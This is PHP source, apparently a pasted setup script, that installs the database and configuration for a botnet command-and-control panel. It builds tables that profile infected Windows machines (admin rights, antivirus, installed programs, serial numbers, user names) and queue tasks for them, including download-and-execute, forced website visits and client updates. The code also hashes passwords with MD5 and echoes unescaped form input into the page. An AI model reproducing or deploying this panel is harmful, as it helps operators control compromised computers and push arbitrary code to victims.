· 8 years ago · Dec 13, 2017, 10:52 PM
1<?php
2 set_time_limit(10 * 60); // 10 mins
3 include_once("gdx/utility.php");
4
5 function ImportCSV($conn)
6 {
7 $File = fopen("geoip.csv", "r");
8 if (is_resource($File))
9 {
10 $conn->beginTransaction();
11 $q = $conn->prepare("INSERT INTO GeoIP (addr_type, ip_start, ip_end, country) VALUES (:addr_type, :start, :end, :country)");
12 while ($r = fgetcsv($File))
13 {
14 $addr_type = AddrType($r[0]);
15 $start = inet_pton($r[0]);
16 $end = inet_pton($r[1]);
17 $country = $r[2];
18
19 $q->execute(array(':addr_type' => $addr_type, ':start' => $start, ':end' => $end, ':country' => $country));
20 }
21
22 $conn->commit();
23 fclose($File);
24 return true;
25 }
26
27 return false;
28 }
29
30 function Install(&$pResult, $MySQLHost, $MySQLUser, $MySQLPw, $DBName, $User, $UserPw, $Key1, $Key2)
31 {
32 $Result = "";
33 $Ret = false;
34
35 try
36 {
37 $Result .= "Connecting...<br/>";
38 $conn = new PDO("mysql:host=$MySQLHost;dbname=$DBName", $MySQLUser, $MySQLPw);
39 $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
40
41 $Result .= "Selecting database<br/>";
42 $conn->exec("USE {$DBName}");
43
44 $Result .= "Creating table (Clients)<br/>";
45 $sql = "CREATE TABLE IF NOT EXISTS Clients (
46 id INT UNSIGNED NOT NULL AUTO_INCREMENT ,
47 Status TINYINT UNSIGNED NOT NULL ,
48 ClientId BINARY(16) NOT NULL ,
49 Version INT NOT NULL ,
50 GroupName CHAR(32) NOT NULL ,
51 IPAddress VARBINARY(16) NOT NULL ,
52 Location VARCHAR(2) NOT NULL ,
53 HasAdminRigths TINYINT UNSIGNED NOT NULL ,
54 FilePath VARBINARY(1024) NOT NULL ,
55 InstallationDate INT NOT NULL ,
56 LastCheck INT NOT NULL ,
57 Killed INT NOT NULL ,
58 OperatingSystem INT UNSIGNED NOT NULL ,
59 OSArchitecture TINYINT UNSIGNED NOT NULL ,
60 ServipackVersion SMALLINT UNSIGNED NOT NULL ,
61 WindowsEdition SMALLINT UNSIGNED NOT NULL ,
62 WindowsBuildId SMALLINT UNSIGNED NOT NULL ,
63 WindowsLang SMALLINT UNSIGNED NOT NULL ,
64 WindowsSerial VARBINARY(255) NOT NULL ,
65 WindowsDir VARBINARY(255) NOT NULL ,
66 PCName VARBINARY(32) NOT NULL ,
67 UserName VARBINARY(514) NOT NULL ,
68 PCLocalTime INT NOT NULL ,
69 ComputerModel VARBINARY(255) NOT NULL ,
70 ComputerType INT UNSIGNED NOT NULL ,
71 BIOSName VARBINARY(255) NOT NULL ,
72 BIOSManufacturer VARBINARY(255) NOT NULL ,
73 BIOSVersion VARBINARY(255) NOT NULL ,
74 BIOSSerialNumber VARBINARY(255) NOT NULL ,
75 CPUName VARBINARY(255) NOT NULL ,
76 CPUManufacturer VARBINARY(255) NOT NULL ,
77 CPUArquitecture INT UNSIGNED NOT NULL ,
78 CPUNumberProcessors SMALLINT UNSIGNED NOT NULL ,
79 VideoAdapter VARBINARY(255) NOT NULL ,
80 VideoResolution VARBINARY(255) NOT NULL ,
81 VideoRefreshRate INT NOT NULL ,
82 HardDrives VARBINARY(1024) NOT NULL ,
83 PhysicalMemories VARBINARY(1024) NOT NULL ,
84 DefaultBrowser VARBINARY(1024) NOT NULL ,
85 InstalledBrowsers VARBINARY(4096) NOT NULL ,
86 InstalledNETFrameworks VARBINARY(4096) NOT NULL ,
87 InstalledPrograms VARBINARY(10240) NOT NULL ,
88 JAVAVM VARBINARY(1024) NOT NULL ,
89 Antivirus VARBINARY(1024) NOT NULL ,
90 ClientFlags INT NOT NULL ,
91 FuncFlags INT NOT NULL ,
92 Comments TEXT NOT NULL ,
93 PRIMARY KEY ( Id )
94 );";
95
96 $conn->exec($sql);
97
98 $Result .= "Creating table (Tasks)<br/>";
99 $sql = "CREATE TABLE IF NOT EXISTS Tasks (
100 Id INT UNSIGNED NOT NULL AUTO_INCREMENT ,
101 TaskId BINARY(16) NOT NULL ,
102 TaskName TEXT NOT NULL ,
103 TaskType TINYINT UNSIGNED NOT NULL ,
104 TaskParameter TEXT NOT NULL ,
105 ClientsFilter TEXT NOT NULL ,
106 LocationsFilter TEXT NOT NULL ,
107 OperatingSystemsFilter INT UNSIGNED NOT NULL ,
108 TasksSent INT UNSIGNED NOT NULL ,
109 ClientsExecuted INT UNSIGNED NOT NULL ,
110 ClientsFailed INT UNSIGNED NOT NULL ,
111 MaximumClients INT UNSIGNED NOT NULL ,
112 CreationDate INT NOT NULL ,
113 ExpirationDate INT NOT NULL ,
114 Status TINYINT UNSIGNED NOT NULL ,
115 PRIMARY KEY ( Id )
116 );
117 ";
118
119 $conn->exec($sql);
120
121 $Result .= "Creating table (TasksCompleted)<br/>";
122 $sql = "CREATE TABLE IF NOT EXISTS TasksCompleted (
123 Id INT UNSIGNED NOT NULL AUTO_INCREMENT ,
124 TaskId BINARY(16) NOT NULL ,
125 ClientId BINARY(16) NOT NULL ,
126 CompletionDate INT NOT NULL ,
127 ReturnCode INT NOT NULL ,
128 Status TINYINT UNSIGNED NOT NULL ,
129 PRIMARY KEY ( Id )
130 );
131 ";
132
133 $conn->exec($sql);
134
135 $Result .= "Creating table (Settings)<br/>";
136 $sql = "CREATE TABLE IF NOT EXISTS Settings (
137 PanelVersion INT UNSIGNED NOT NULL ,
138 KnockInterval INT UNSIGNED NOT NULL ,
139 DeadInterval INT UNSIGNED NOT NULL ,
140 Key1 BINARY(16) NOT NULL ,
141 Key2 BINARY(16) NOT NULL ,
142 MaxLoginTries INT UNSIGNED NOT NULL
143 );";
144
145 $conn->exec($sql);
146
147 $Result .= "Creating table (Notifications)<br/>";
148 $sql = "CREATE TABLE IF NOT EXISTS Notifications (
149 Id INT UNSIGNED NOT NULL AUTO_INCREMENT ,
150 Type INT UNSIGNED NOT NULL ,
151 Information TEXT NOT NULL ,
152 DateTime INT UNSIGNED NOT NULL ,
153 PRIMARY KEY ( Id )
154 );";
155
156 $conn->exec($sql);
157
158 $Result .= "Creating table (LoginTries)<br/>";
159 $sql = "CREATE TABLE IF NOT EXISTS LoginTries (
160 Id INT UNSIGNED NOT NULL AUTO_INCREMENT ,
161 IPAddress VARBINARY(16) NOT NULL ,
162 DateTime INT UNSIGNED NOT NULL ,
163 PRIMARY KEY ( Id )
164 );";
165
166 $conn->exec($sql);
167
168 $Result .= "Creating table (Admins)<br/>";
169 $sql = "CREATE TABLE IF NOT EXISTS Admins (
170 Id INT UNSIGNED NOT NULL AUTO_INCREMENT,
171 UserName CHAR(255) NOT NULL ,
172 PasswordHash CHAR(255) NOT NULL ,
173 LastLogin INT UNSIGNED NOT NULL ,
174 Privileges INT UNSIGNED NOT NULL ,
175 PRIMARY KEY ( Id )
176 );";
177
178 $conn->exec($sql);
179
180 $Result .= "Creating table (GeoIP)<br/>";
181 $sql = "CREATE TABLE IF NOT EXISTS GeoIP (
182 addr_type enum('ipv4', 'ipv6') NOT NULL,
183 ip_start varbinary(16) NOT NULL ,
184 ip_end varbinary(16) NOT NULL ,
185 country char(2) NOT NULL ,
186 PRIMARY KEY (ip_start)
187 );";
188
189 $conn->exec($sql);
190
191 $Result .= "Default values...<br/>";
192
193 $Hash = md5($UserPw);
194 $pr = $conn->prepare("INSERT INTO Admins (UserName, PasswordHash) VALUES (:User, :Hash)");
195 $pr->execute(array("User" => $User, "Hash" => $Hash));
196
197 $Key1Bin = pack("H*", $Key1);
198 $Key2Bin = pack("H*", $Key2);
199
200 $pr = $conn->prepare("INSERT INTO Settings (KnockInterval, DeadInterval, Key1, Key2) VALUES (:Knock, :Dead, :Key1, :Key2)");
201 $pr->execute(array("Knock" => 5, "Dead" => 15, "Key1" => $Key1Bin, "Key2" => $Key2Bin));
202
203 $Internal = "<?php
204define(\"CLIENTS_TABLE\", \"Clients\");
205define(\"TASKS_TABLE\", \"Tasks\");
206define(\"SETTINGS_TABLE\", \"Settings\");
207
208define(\"MYSQL_HOST\", \"{$MySQLHost}\");
209define(\"MYSQL_USER\", \"{$MySQLUser}\");
210define(\"MYSQL_PASSWORD\", \"{$MySQLPw}\");
211define(\"DATABASE_NAME\", \"{$DBName}\");
212
213// Windows version
214
215define(\"WINDOWS_XP_SZ\", \"Windows XP\");
216define(\"WINDOWS_2003_SZ\", \"Windows 2003\");
217define(\"WINDOWS_VISTA_SZ\", \"Windows Vista\");
218define(\"WINDOWS_7_SZ\", \"Windows 7\");
219define(\"WINDOWS_8_SZ\", \"Windows 8\");
220define(\"WINDOWS_8_1_SZ\", \"Windows 8.1\");
221define(\"WINDOWS_10_SZ\", \"Windows 10\");
222define(\"ALL_OPERATING_SYSTEMS_SZ\", \"All Operating systems\");
223
224define(\"WINDOWS_XP\", 501);
225define(\"WINDOWS_2003\", 502);
226define(\"WINDOWS_VISTA\", 600);
227define(\"WINDOWS_7\", 601);
228define(\"WINDOWS_8\", 602);
229define(\"WINDOWS_8_1\", 603);
230define(\"WINDOWS_10\", 1000);
231
232// Task operating systems filter
233
234define(\"WINDOWS_XP_MASK\", 0x00000001);
235define(\"WINDOWS_2003_MASK\", 0x00000002);
236define(\"WINDOWS_VISTA_MASK\", 0x00000004);
237define(\"WINDOWS_7_MASK\", 0x00000008);
238define(\"WINDOWS_8_MASK\", 0x00000010);
239define(\"WINDOWS_8_1_MASK\", 0x00000020);
240define(\"WINDOWS_10_MASK\", 0x000000040);
241define(\"ALL_OPERATING_SYSTEMS_MASK\", 0x00008000);
242
243define(\"KEY_SIZE\", 16);
244
245// Task status
246
247define(\"TASK_EXECUTING\", 1);
248define(\"TASK_FINISHED\", 2);
249define(\"TASK_EXPIRED\", 3);
250define(\"TASK_SUSPENDED\", 4);
251
252
253// Task status (completed)
254
255define(\"TASK_CMPLD_SENT\", 1);
256define(\"TASK_CMPLD_EXECUTED\", 2);
257define(\"TASK_CMPLD_FAILED\", 3);
258
259// Task type integer
260
261define(\"TASK_DOWNLOAD_AND_EXECUTE\", 1);
262define(\"TASK_VISIT_WEBSITE\", 2);
263define(\"TASK_UPDATE_CLIENT\", 3);
264define(\"TASK_UNINSTALL_CLIENT\", 4);
265
266// Request header
267
268define(\"HEADER_CLIENT_NOTIFY\", \"CLNT\");
269define(\"HEADER_EXECUTE_TASK\", \"EXTK\");
270define(\"HEADER_TASK_RESULT\", \"TKRS\");
271define(\"HEADER_CLIENT_COMPLETED\", \"CLCP\");
272
273?>";
274 $Result .= "Creating internal file<br/>";
275
276 chmod("gdx", 0777);
277 $File = fopen("gdx/internal.php", "w");
278 if($File)
279 {
280 fwrite($File, $Internal);
281 fclose($File);
282
283 }else throw new Exception("Unable to create the file<br/>");
284 chmod("gdx", 0755);
285
286 $Result .= "Importing Geo IP<br/>";
287 ImportCSV($conn);
288
289 $Result .= "Installed successfully, delete setup.php<br/>";
290 $Ret = true;
291 $conn = null;
292
293 } catch(Exception $e) {
294 $conn = null;
295 $Result .= $e->getMessage();
296 }
297
298 $pResult = $Result;
299
300 return $Ret;
301 }
302
303 /////////////////////////////////////////////////////////////////////////////////////////////////////
304
305 if(isset($_POST["setup_submit"]))
306 {
307 $ret = false;
308 $result = "";
309
310 if(!(isset($_POST["mysql_host"]) && strlen($_POST["mysql_host"]) > 0))
311 {
312 $result = "Host is required";
313 }
314 else if(!(isset($_POST["mysql_user"]) && strlen($_POST["mysql_user"]) > 0))
315 {
316 $result = "User is required";
317 }
318 else if(!(isset($_POST["database_name"]) && strlen($_POST["database_name"]) > 0))
319 {
320 $result = "Database is required";
321 }
322 else if(!(isset($_POST["username"]) && strlen($_POST["username"]) > 0))
323 {
324 $result = "Username is required";
325 }
326 else if(!(isset($_POST["user_password"]) && strlen($_POST["user_password"]) > 0))
327 {
328 $result = "Password is required";
329 }
330 else
331 {
332 $ret = Install(
333 $result,
334 $_POST["mysql_host"],
335 $_POST["mysql_user"],
336 $_POST["mysql_password"],
337 $_POST["database_name"],
338 $_POST["username"],
339 $_POST["user_password"],
340 $_POST["key1"],
341 $_POST["key2"]
342 );
343 }
344 }
345
346 /////////////////////////////////////////////////////////////////////////////////////////////////////
347?>
348
349<head>
350 <link href="css/style.css" rel="stylesheet" type="text/css"/>
351</head>
352<html>
353 <h2 align="center"> Setup information </h1>
354 <br/>
355
356 <!-- checking error or success -->
357 <?php
358 if (isset($ret) && isset($result) && strlen($result))
359 {
360 if($ret == true) $clr = "green"; else $clr = "red";
361 echo "<div style='width: 100%; text-align: center; color: {$clr}' >{$result}</div><br/>";
362 }
363 ?>
364
365 <form action='' method='post'>
366 <div align='center'>
367 SQL Host: <br/>
368 <input style='width:300px' type='text' name='mysql_host' autocomplete:'off'
369 value='<?php echo (isset($_POST["mysql_host"])) ? $_POST["mysql_host"] : "" ?>'/> <br/> <br/>
370
371 SQL User: <br/>
372 <input style='width:300px' type='text' name='mysql_user' autocomplete:'off'
373 value='<?php echo (isset($_POST["mysql_user"])) ? $_POST["mysql_user"] : "" ?>'/> <br/> <br/>
374
375 SQL Password: <br/>
376 <input style='width:300px' type='password' name='mysql_password' value=''/> <br/> <br/>
377
378 Database name: <br/>
379 <input style='width:300px' type='text' name='database_name' autocomplete:'off'
380 value='<?php echo (isset($_POST["database_name"])) ? $_POST["database_name"] : "" ?>'/> <br/> <br/>
381
382 Username (Control panel): <br/>
383 <input style='width:300px' type='text' name='username' autocomplete:'off'
384 value='<?php echo (isset($_POST["username"])) ? $_POST["username"] : "" ?>'/> <br/> <br/>
385
386 Password (Control panel): <br/>
387 <input style='width:300px' type='text' name='user_password' value=''/> <br/><br/>
388
389 Key #1: <br/>
390 <input style='width:300px' type='text' name='key1' autocomplete:'off'
391 value='<?php echo (isset($_POST["key1"])) ? $_POST["key1"] : "" ?>'/> <br/> <br/>
392
393 Key #2: <br/>
394 <input style='width:300px' type='text' name='key2' autocomplete:'off'
395 value='<?php echo (isset($_POST["key2"])) ? $_POST["key2"] : "" ?>'/> <br/> <br/>
396
397 <br/>
398 <input style='width:300px' type='submit' name='setup_submit' value='Install' action=''/>
399 </div>
400 </form>
401</html>